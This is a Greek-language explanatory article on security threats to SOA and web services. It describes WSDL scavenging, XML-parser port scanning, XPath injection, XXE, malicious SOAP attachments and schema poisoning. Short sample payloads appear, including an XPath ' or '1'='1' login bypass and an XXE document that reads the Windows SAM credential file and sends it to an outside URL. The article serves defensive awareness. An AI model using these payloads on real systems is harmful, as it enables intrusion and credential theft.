SOA & Web Services: Ποιοι Κίνδυνοι Απειλούν Τις Κρίσιμες Υποδομές Μας;

Μπορεί το σύγχρονο διαδικτυακό περιβάλλον να είναι ένα εξαιρετικό μέσο εύκολης ανταλλαγής πληροφοριών με σχεδόν καθολικό χαρακτήρα, όμως αυτό ακριβώς το γνώρισμα που το καθιστά τόσο θελκτικό, αποτελεί παράλληλα και την κυριότερη πηγή κινδύνων που απειλούν τις υποδομές.

Το διαδίκτυο έχει πλέον εισβάλλει δυναμικά τόσο στην καθημερινότητά μας, όσο και στον επιχειρησιακό κόσμο. Έχει πλέον εξελιχθεί σε ένα ισχυρό περιβάλλον ανάπτυξης και διαδραστικότητας, μέσα στο οποίο, λογισμικό και υπολογιστικά συστήματα αλληλεπιδρούν μεταξύ τους αυτόνομα, προκειμένου να καλύψουν τις ανάγκες για ανταλλαγή πληροφορίας, για λογαριασμό του εκάστοτε οργανισμού στον οποίο ανήκουν. Μέσα λοιπόν σε αυτό το δυναμικό περιβάλλον, το οποίο είναι ικανό να καθορίσει σε σημαντικό βαθμό την ανταγωνιστικότητα, το δείκτη ανάπτυξης αλλά και τη βιωσιμότητα των επιχειρήσεων, τα web-services αποτελούν μία πολύ δημοφιλή λύση προκειμένου να αναπτυχθούν συστήματα, τα οποία μπορούν να επωφεληθούν από τις παροχές μοντέρνων αρχιτεκτονικών τάσεων, όπως για παράδειγμα η υπηρεσιοστρεφής αρχιτεκτονική (SOA), η οποία προσφέρει ένα μέσο ενιαίας συνεργασίας, καλύπτοντας με αυτόν τον τρόπο τις σύγχρονες ανάγκες για αύξηση της παραγωγικότητας και υψηλή συνεκτικότητα μεταξύ των δομικών μονάδων ενός οργανισμού.

Δυστυχώς όμως, σύμφωνα με πρόσφατες αναφορές, τα τελευταία χρόνια διαφαίνεται ξεκάθαρα μία συνεχώς αυξανόμενη τάση ηλεκτρονικών επιθέσεων εναντίον υπολογιστικών συστημάτων και, κατ’ επέκταση, των αντίστοιχων οργανισμών που τα στεγάζουν. Συνεπώς, το διαδίκτυο εμπράκτως πλέον δεν αποτελεί τη φιλική “γειτονιά” που κάποτε πίστευαν ότι είναι. Έτσι, εκτός από ένα περιβάλλον ανάπτυξης και επικοινωνίας, αποτελεί συνάμα ένα περιβάλλον διάσπαρτο από κινδύνους που μπορεί να απειλήσουν την υποδομή ενός οργανισμού, χτυπώντας το πολυτιμότερο αγαθό του, την πληροφορία. Ένας από τους παράγοντες στους οποίους οφείλεται αυτή η ραγδαία αύξηση, είναι η κατά κόρον υιοθέτηση τεχνολογιών και αρχιτεκτονικών, οι οποίες εμπεριέχουν στη ρίζα τους στοιχεία, τα οποία είναι ανοιχτά σε μια σειρά από κινδύνους και που προκειμένου να ενσωματωθούν ασφαλώς και με επιτυχία σε ένα σύγχρονο επιχειρησιακό περιβάλλον, προϋποθέτουν αφενός την πλήρη κατανόηση των ενδογενών αυτών κινδύνων και αφετέρου τόσο την ύπαρξη διαδικασιών όσο και την ευθυγράμμιση με πρότυπα ασφαλείας. Σε αυτό το άρθρο θα αναφέρουμε μερικές από τις πιο γνωστές απειλές που επηρεάζουν το χώρο των Web Services.
Προκειμένου τα όσα αναφέρουμε από εδώ και στο εξής να γίνουν περισσότερο κατανοητά, ακολουθεί μία σύντομη επισκόπηση του τρόπου λειτουργίας εφαρμογών που χρησιμοποιούν web-services τεχνολογία. Όπως μπορούμε να δούμε και στο σχήμα 1, ο πάροδος των δικτυακών υπηρεσιών(service provider) εγγράφει το WSDL (Web Services Description Language) έγγραφο, το οποίο περιέχει όλη την απαραίτητη πληροφορία (όπως για παράδειγμα, την τοποθεσία που βρίσκεται η εν λόγω υπηρεσία, τα συμβόλαια για το είδος των δεδομένων κ.τ.λ.) που χρειάζονται οι καταναλωτές των υπηρεσιών (service consumers) προκειμένου να συνδεθούν επιτυχώς σε ένα ειδικό ευρετήριο που ονομάζεται UDDI. Έτσι, έχοντας οι καταναλωτές το WSDL αποθηκευμένο σε ένα γνωστό σημείο (δηλαδή το UDDI), μπορούν εύκολα να το “ανακρίνουν” για να αποσπάσουν πληροφορίες σε σχέση με την τοποθεσία της ζητούμενης υπηρεσίας και στη συνέχεια να συνδεθούν με αυτήν και να συνεχίσουν απρόσκοπτα πλέον τη μεταξύ τους αλληλεπίδραση. Επιπλέον, προκειμένου να γίνει ευρύτερα αντιληπτή η λογική σειρά που διέπει τις διάφορες επιθέσεις που περιγράφονται στη συνέχεια του άρθρου, κρίνεται απαραίτητο να προσφέρουμε μία έστω και απλοποιημένη, τυποποιημένη περιγραφή των βημάτων που ακολουθούνται κατά τη διάρκεια μιας ηλεκτρονικής επίθεσης (σχήμα 2). Τα βήματα αυτά μπορούν λοιπόν κατά κάποιο τρόπο, χονδρικά, να αντιστοιχηθούν με τις ακόλουθες φάσεις :

• Φάση συλλογής πληροφοριών
• Φάση αναγνώρισης συστημάτων
• Φάση εύρεσης και ανάλυσης απειλών
• Φάση ανάπτυξης απειλής

WSDL Scavenging
Ο κατάλογος (registry) UDDI εγκαθιδρύθηκε με σκοπό να χρησιμοποιηθεί ως το de facto πρότυπο για την ανάπτυξη διεπαφών WSDL. Όπως δηλώνουν τα αρχικά του ονόματός του (Universal Description, Discovery and Integration), χρησιμοποιείται για να αποθηκεύσει έγγραφα με την μορφή XML, τα οποία περιέχουν μείζονες πληροφορίες τόσο για τον εντοπισμό, όσο και για την περιγραφή των εκτιθέμενων υπηρεσιών (web-services). Στόχος λοιπόν του UDDI καταλόγου για τα αποθηκευμένα XML έγγραφα είναι να παρέχει ένα σταθερό και συνάμα εύχρηστο μέσω εύρεσης των εκάστοτε διαδικτυακών υπηρεσιών, με τις οποίες οι καταναλωτές (web-services clients) επιθυμούν να αλληλεπιδράσουν μέσα στο λαβύρινθο του διαδικτύου. Ενόσω λοιπόν η ύπαρξη του καταλόγου UDDI λύνει ένα σημαντικό πρόβλημα όσον αφορά στο δυναμικό εντοπισμό των υπηρεσιών από τους καταναλωτές για τη μεταξύ τους επικοινωνία, ωστόσο, από πλευράς ασφάλειας μπορεί να αποτελέσει σημαντική πηγή προβλημάτων και αυτό γιατί αφήνει αρκετό περιθώριο στους εκάστοτε επιτήδειους για συλλογή πολύτιμων πληροφοριών (σχήμα 1).

Σύμφωνα λοιπόν με τα όσα αναφέραμε προηγουμένως, η αρχική φάση μιας ηλεκτρονικής επίθεσης, αλλά ταυτόχρονα και η πιο κρίσιμη προκειμένου να επιτευχθεί ο τελικός στόχος που δεν είναι άλλος παρά ο έλεγχος/αδρανοποίηση του εν λόγω συστήματος, είναι η φάση της συλλογής πληροφοριών. Το είδος της απειλής που περιγράφεται σε αυτήν την παράγραφο, αποτελεί ένα χαρακτηριστικό τέτοιο δείγμα εξ’ου άλλωστε και ο τίτλος “scavenging”. Συγκεκριμένα, η πληροφορία η οποία βρίσκεται μέσα στο WSDL είναι ικανή να αποκαλύψει ευρέως ολόκληρη την προγραμματιστική διαπροσωπεία της εφαρμογής (API), περιλαμβάνοντας ακόμα και τμήματα τα οποία δεν χρησιμοποιούνται πλέον ή χρησιμοποιούνται μόνο για λόγους δοκιμαστικούς ή εξάλειψης σφαλμάτων (debugging). Έτσι, αυτή η υπέρμετρη ελευθερία όσον αφορά στο βαθμό της πληροφορίας που μπορεί κάποιος να συλλέξει απλά και μόνο ανακρίνοντας επιτυχώς έναν κατάλογο UDDI, μπορεί να προσδώσει σημαντική γνώση για τη μετέπειτα πορεία της επίθεσης σε σχέση με τη γενικότερη αρχιτεκτονική της εφαρμογής, τις προδιαγραφές ασφαλείας που ακολουθούνται, καθώς ακόμα και την παραβίαση ευαίσθητων δεδομένων.

XML Port Scanning
Έχοντας ολοκληρώσει με επιτυχία την προηγούμενη φάση, ο επιτιθέμενος μπορεί να επιδοθεί στην περαιτέρω άντληση πληροφοριών, στοχεύοντας αυτήν τη φορά στη συγκέντρωση δεδομένων που αφορούν κατά πρώτον στην ανακάλυψη “ζωντανών” στόχων και κατά δεύτερον στην ύπαρξη υπηρεσιών, με γνωστές αδυναμίες που προσφέρονται από τους τελευταίους, ώστε να μεθοδεύσουν σιγά – σιγά με αυτόν τον τρόπο την επίθεσή τους. Τα παραπάνω μπορούν εύκολα να υλοποιηθούν καταφεύγοντας σε μια γνωστή σε όλους μέθοδο, όπως αυτή της εύρεσης ανοιχτών θυρών (port-scanning). Τώρα όμως πλέον, εκτός των τυπικών μεθόδων ανίχνευσης που καταφεύγουν στη χρήση του TCP/IP πρωτοκόλλου, όταν αναφερόμαστε σε περιβάλλοντα τα οποία ενσωματώνουν τεχνολογίες όπως τα web-services, ο επιτιθέμενος έχει στη διάθεσή του και μια επιπλέον τεχνική, η οποία μάλιστα βασίζεται στη χρήση της γλώσσας XML, που όπως έχει ήδη αναφερθεί αποτελεί και ένα από τα δομικά στοιχεία των web-services.
Έτσι, αναφορικά με τα προηγούμενα, ο επιτιθέμενος προκειμένου να αποσπάσει την επιθυμητή πληροφορία σε σχέση με τις “ανοιχτές” θύρες πιθανών συστημάτων – στόχων, μπορεί να καταφύγει στη χρησιμοποίηση ενός ειδικά διαμορφωμένου XML εγγράφου, ώστε να αναγκάσει έναν αναλυτή συντακτικού XML- ο οποίος βρίσκεται εγκαταστημένος σε έναν web εξυπηρετητή- να συνδεθεί με όποιο από τα εσωτερικά συστήματα με τα οποία ο εξυπηρετητής έχει πρόσβαση, επιθυμεί ο εισβολέας. Με άλλα λόγια, αυτή η τεχνική μετατρέπει τον αναλυτή συντακτικού XML σε ένα εργαλείο ανίχνευσης συστημάτων/θυρών, εκτελώντας με αυτόν τον τρόπο το κακόβουλο σχέδιο του επιτιθέμενου. Το πιο εντυπωσιακό όμως σε αυτήν την επίθεση, είναι ότι η συγκεκριμένη έχει την ικανότητα να διαπερνά τα παραδοσιακά τείχη προστασίας επιπέδου 4 (layer-4 firewalls) και να παρέχει πληροφορία στον αντίπαλο για συστήματα, τα οποία είναι τοποθετημένα ακόμα και πίσω από την περίμετρο του κύκλου (DMZ), κάτι που σε μια άλλη περίπτωση θα τα καθιστούσε απρόσβλητα από μία επίθεση βασισμένη στις μέχρι πρότινος “κλασικές” μεθόδους ανίχνευσης.

Προκειμένου να γίνουν τα παραπάνω περισσότερο κατανοητά, ας πάρουμε την περίπτωση ενός δικτύου (σχήμα 3) όπου το τείχος προστασίας επιτρέπει την είσοδο μόνο για κίνηση που απευθύνεται στις θύρες 22 (SSH) και 80 (HTTP) αντιστοίχως. Αν ο επιτιθέμενος θελήσει να αποσπάσει πληροφορία σε σχέση με το ποιες θύρες είναι ανοιχτές σε ένα σύστημα πίσω από το τείχος (για παράδειγμα, το 192.168.1.2) μπορεί να χρησιμοποιήσει το παρακάτω DTD (Document Type Definition) απόσπασμα προκειμένου να εξαναγκάσει τον XML αναλυτή να συνδεθεί για λογαριασμό του με το εν λόγω σύστημα:

<!DOCTYPE portscan [<!ENTITY myentity SYSTEM “http://192.168.1.1:22/”>]>

Έτσι, όταν το παραπάνω XML φτάσει στο διακομιστή, ο συντακτικός αναλυτής του υποχρεώνεται να ακολουθήσει το επισυναπτόμενο URI έως τον προορισμό του, προσπαθώντας να προσκομίσει τα περιεχόμενα προκειμένου εκείνα να συμπεριληφθούν στο έγγραφο. Η συμπεριφορά αυτή αποτελεί τη βάση της ανίχνευσης θυρών (port scanning) και το επόμενο βήμα είναι η ανάλυση των αποτελεσμάτων. Συγκεκριμένα, υπάρχουν 5 πιθανά αποτελέσματα που μπορεί να προκύψουν ως απόκριση στην παραπάνω επίθεση:

• Περίπτωση 1: Η διεύθυνση ή το όνομα δεν αντιστοιχεί σε κάποιο σύστημα.
• Περίπτωση 2: Η θύρα ή το σύστημα φιλτράρονται.
• Περίπτωση 3: Η θύρα είναι κλειστή.
• Περίπτωση 4: Η θύρα είναι ανοιχτή, αλλά δεν αποκρίνονται παρά μόνο σε συγκεκριμένης μορφής XML έγγραφα.
• Περίπτωση 5: Η θύρα είναι ανοιχτή και απαντάει με δεδομένα κάποιας μορφής.

Στην πρώτη, δεύτερη και τέταρτη περίπτωση αντιστοίχως, ο XML αναλυτής δεν λαμβάνει καμιά απάντηση από την επικείμενη σύνδεση και για αυτόν το λόγο θα λήξει τελικώς την προσπάθεια του να προσεγγίσει την εν λόγω οντότητα. Παρόλο που δεν υπάρχει αρκετά αξιόπιστος τρόπος για αυτές τις περιπτώσεις να ξεχωρίσουν επακριβώς η μία από την άλλη, μπορούν εν γένει να γίνουν αντιληπτές από τον επιτιθέμενο, θέτοντας απλά μία περίοδο λήξης (timeout), μετά το πέρας της οποίας ο επιτιθέμενος δεν θα περιμένει απόκριση στο XML που έστειλε. Επιπρόσθετα, θα πρέπει να σημειωθεί πως στην πρώτη περίπτωση το αποτέλεσμα θα είναι το ίδιο για όλες τις θύρες ανεξαιρέτως. Επιπλέον, στην περίπτωση που η θύρα είναι κλειστή (δηλαδή στην περίπτωση 3) ο XML αναλυτής θα λάβει ένα πακέτο RST και ένα SOAP μήνυμα λάθους θα παραχθεί, που θα δηλώνει λάθος στη σύνδεση. Τέλος, η περίπτωση στην οποία η θύρα είναι ανοιχτή και απαντάει με δεδομένα κάποιας μορφής (τα οποία μπορεί ακόμη και να είναι ένδειξη κάποιου σφάλματος, όπως για παράδειγμα η χρήση λάθος πρωτοκόλλου, λήψη δεδομένων που δεν μπορούν να επεξεργαστούν από τον αναλυτή ή συντακτικά εσφαλμένο XML μήνυμα), μπορεί εύκολα να γίνει αντιληπτή από τον επιτιθέμενο, εφόσον λάβει ένα μήνυμα λάθους το οποίο δεν θα σχετίζεται με λάθος στη σύνδεση, στο πρωτόκολλο ή σε εσφαλμένο τερματισμό του αρχείου. Τέλος, εκτός από την αναγνώριση θυρών οι οποίες είναι ανοιχτές, η παραπάνω τεχνική μπορεί επίσης να χρησιμοποιηθεί και για τη συλλογή πληροφοριών σε σχέση με την πλατφόρμα στην οποία «τρέχει» η εφαρμογή, δεδομένου ότι διαφορετικές πλατφόρμες και XML συντακτικοί αναλυτές, θα αντιδράσουν σε καθεμιά από τις παραπάνω περιπτώσεις με λίγο διαφορετικό τρόπο, που μπορεί να αρχειοθετηθεί.

XPath/XQuery Injection
Ένας άλλος αρκετά συχνός κίνδυνος που εμφανίζεται σε περιβάλλοντα που κάνουν χρήση web services (και όχι μόνο) είναι η έκχρηση (injection) κακόβουλων παραμέτρων μέσω της διαλέκτου ανάκρισης XML εγγράφων XPath, η οποία με τη σειρά της αποτελεί μέρος της γενικότερης διαλέκτου XQuery. Η συγκεκριμένη μορφή επίθεσης, σε αντίθεση με τις προηγούμενες, δεν είναι παθητική, αλλά σε σχέση με τα βήματα που σκιαγραφήσαμε πρωτύτερα (σχήμα 2) αντιστοιχεί στο βήμα 4, εφόσον προσφέρει τη δυνατότητα στον επιτιθέμενο να αλλάξει την καθιερωμένη σημασιολογία ενός φίλτρου XML, παρέχοντάς του απευθείας πρόσβαση στον τελικό αποδέκτη της πληροφορίας, που δεν είναι άλλος από το σύστημα αποθήκευσης δεδομένων. Έτσι, σε περιπτώσεις που δεδομένα φυλάσσονται σε κάποιο έγγραφο ΧΜL αντί σε κάποια SQL βάση δεδομένων, ο επιτιθέμενος μπορεί εύκολα να προσπελάσει διαδικασίες αυθεντικοποίησης χρηστών, να διαβάσει ή ακόμα και να εισάγει καινούρια δεδομένα στο απομακρυσμένο σύστημα.

Σαν παράδειγμα των όσων αναφέρθηκαν, ας πάρουμε ένα έγγραφο όπως το παρακάτω, το οποίο θα μπορούσε ίσως να χρησιμοποιείται από έναν οργανισμό που συναλλάσσεται μέσω διαδικτύου. Όπως εύκολα διακρίνετε, το έγγραφο αποτελεί στην ουσία μία λίστα με πελάτες και περιέχει το όνομα του κάθε χρήστη, κωδικό πρόσβασης, καθώς και έναν αύξοντα αριθμό για λόγους ταυτοποίησης.

<?xml version=”1.0″?>
<Customs >
<id> 1 </id>
<Username>
Administrator
</Username>
<Password>
Pas5w0rD!
</Password>
.
</Costumers>

Χρησιμοποιώντας λοιπόν τη διάλεκτο Xpath, ο επιτιθέμενος θα μπορούσε να περάσει στο σύστημα μια ερώτηση της μορφής:
//Costumers[Username/text()=’Administrator’ and password/text()=” or ‘1’=’1′ ]/id/text(),
η οποία πρακτικά του δίνει τη δυνατότητα ανάκτησης της ταυτότητας (id) του χρήστη “Administrator” χωρίς φυσικά ιδίαν γνώση του κωδικού πρόσβασης.

XXE Injection
Σε στενή σχέση με την προηγούμενη μορφή επίθεσης, βρίσκεται και εκείνη που έχει να κάνει με τη χρήση “εξωτερικών οντοτήτων” (XML EXternal Entities) στο DTD (Document Type Definition) ενός XML εγγράφου. Αυτό το όχι και τόσο διαδεδομένο χαρακτηριστικό των DTDs μπορεί να αποβεί εξαιρετικά επικίνδυνο, μιας και δίνει τη δυνατότητα στον επιτιθέμενο να αποσπάσει ευαίσθητη πληροφορία ακόμη και από- κατά τα άλλα- απρόσιτα σε εκείνον απομακρυσμένα συστήματα. Για παράδειγμα λοιπόν, ένα XML έγγραφο σαν και το παρακάτω, μπορεί να χρησιμοποιηθεί από τον επιτιθέμενο προκειμένου να αποσπάσει ένα αντίγραφο του αρχείου SAM των windows από το σύστημα-στόχο και να του ταχυδρομηθεί κυριολεκτικά πίσω (σε αυτήν την περίπτωση στο URL http://mysite/getSAM):

<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<!DOCTYPE doc [
<!ENTITY sam-file SYSTEM “file:///C: WINDOWS/system32/config/sam”>
<!ENTITY sendsam SYSTEM “http://mysite /getSAM?&sendsam;”>
]>
&sendsam;

Προφανώς, αυτό που καθιστά την εν λόγω επίθεση επικίνδυνη, είναι ότι μπορεί να οδηγήσει εύκολα στην ευρεία γνωστοποίηση οποιοδήποτε αρχείου του συστήματος και ο μόνος περιορισμός είναι η στοχευμένη εφαρμογή να δέχεται ως “είσοδο ” XML μηνύματα.

SOAP Malicious Content
Σε αυτήν την περίπτωση, ο επιτιθέμενος στέλνει ένα SOAP μήνυμα με ένα ειδικά διαμορφωμένο επισυναπτόμενο, όπως για παράδειγμα μια φωτογραφία, ένα εκτελέσιμο ή οποιοδήποτε άλλου τύπου αρχείο, το οποίο σχετίζεται με την εφαρμογή και το οποίο μπορεί να εμπεριέχει διαφόρων λογιών κακόβουλο κώδικα, όπως κάποιο ιογενές πρόγραμμα ή δούρειο ίππο, τα οποία μεταφέρονται στον τελικό προορισμό τους μέσω ενός καθ’ όλα θεωρημένου (valid) XML.

Σχήμα 3: Ανεύρεση Ανοιχτών Θηρών με τη Μέθοδο του XML Συντακτικού Αναλυτή

Schema Poisoning
Σε αυτήν την περίπτωση, ο επιτιθέμενος προσπαθεί να αποκτήσει πρόσβαση στην τοποθεσία που βρίσκεται αποθηκευμένο το XSD/DTD που θα χρησιμοποιηθεί από την εφαρμογή, προκειμένου παραποιήσει τα αποτελέσματα προς όφελός του.
Συμπεράσματα
Συνοψίζοντας λοιπόν τα όσα αναφέρθηκαν στο παρόν άρθρο, θα πρέπει ίσως να παρατηρήσουμε πως το σύγχρονο διαδικτυακό περιβάλλον έχει διαμορφωθεί πλέον σε ένα εξαιρετικό μέσο εύκολης ανταλλαγής πληροφοριών και άμεσης πρόσβασης, με σχεδόν καθολικό χαρακτήρα και παγκόσμιο βεληνεκές. Όμως αυτό το ίδιο το γνώρισμά του, που το καθιστά τόσο θελκτικό και επιτυχημένο ως μέσο επικοινωνίας και ανταλλαγής πληροφοριών, αποτελεί συνάμα και την κυριότερη πηγή των προβλημάτων, που από πλευράς ασφάλειας μπορεί να προκαλέσει. Ύστερα λοιπόν από τις περιγραφές των επιθέσεων που παραθέσαμε (και οι οποίες σε καμιά περίπτωση δεν αποτελούν μια διεξοδική λίστα) θα πρέπει να είναι ξεκάθαρο πως το διαδίκτυο είναι σήμερα- αλλά πολύ περισσότερο θα γίνει στα επόμενα χρόνια- ένας χώρος διάσπαρτος από κινδύνους, που μπορεί να απειλήσουν άμεσα τα συστήματα τα οποία διαχειρίζονται και στηρίζουν τις κρίσιμες υποδομές ολόκληρων χωρών. Έτσι, αναφορικά με τα όσα ήδη ειπώθηκαν, οι εφαρμογές οι οποίες στηρίζονται στην τεχνολογία των web services, όχι μόνο έχουν να αντιμετωπίσουν τους “κλασικούς” κινδύνους που χαρακτηρίζουν τον κύκλο ζωής μιας οποιασδήποτε δικτυακής εφαρμογής, όπως για παράδειγμα την υιοθέτηση σωστών διαδικασιών και προτύπων, λάθη στον κώδικα, στο hardware, στη συντήρηση και τη χρήση τους, αλλά και μια επιπλέον σειρά από προκλήσεις, οι οποίες μάλιστα βρίσκονται ριζωμένες στην καρδιά των ίδιων των αρχιτεκτονικών τάσεων που ακολουθούνται. Συνεπώς, όπως γίνεται εύκολα κατανοητό, η παραπάνω κατάσταση προστάζει την ακόμη μεγαλύτερη ευθυγράμμιση με διαδικασίες και πρότυπα, καθώς και την εις βάθος κατανόηση της φύσης του εκάστοτε προβλήματος ασφάλειας.

του Ευάγγελου Μωράκη
Security Expert